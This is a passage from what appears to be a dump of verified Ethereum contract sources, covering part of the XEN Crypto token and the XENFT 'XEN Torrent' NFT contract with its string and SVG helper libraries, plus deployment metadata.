mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
8f9c9cce83a8d66ad330f080f4bf68d544477cb9
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 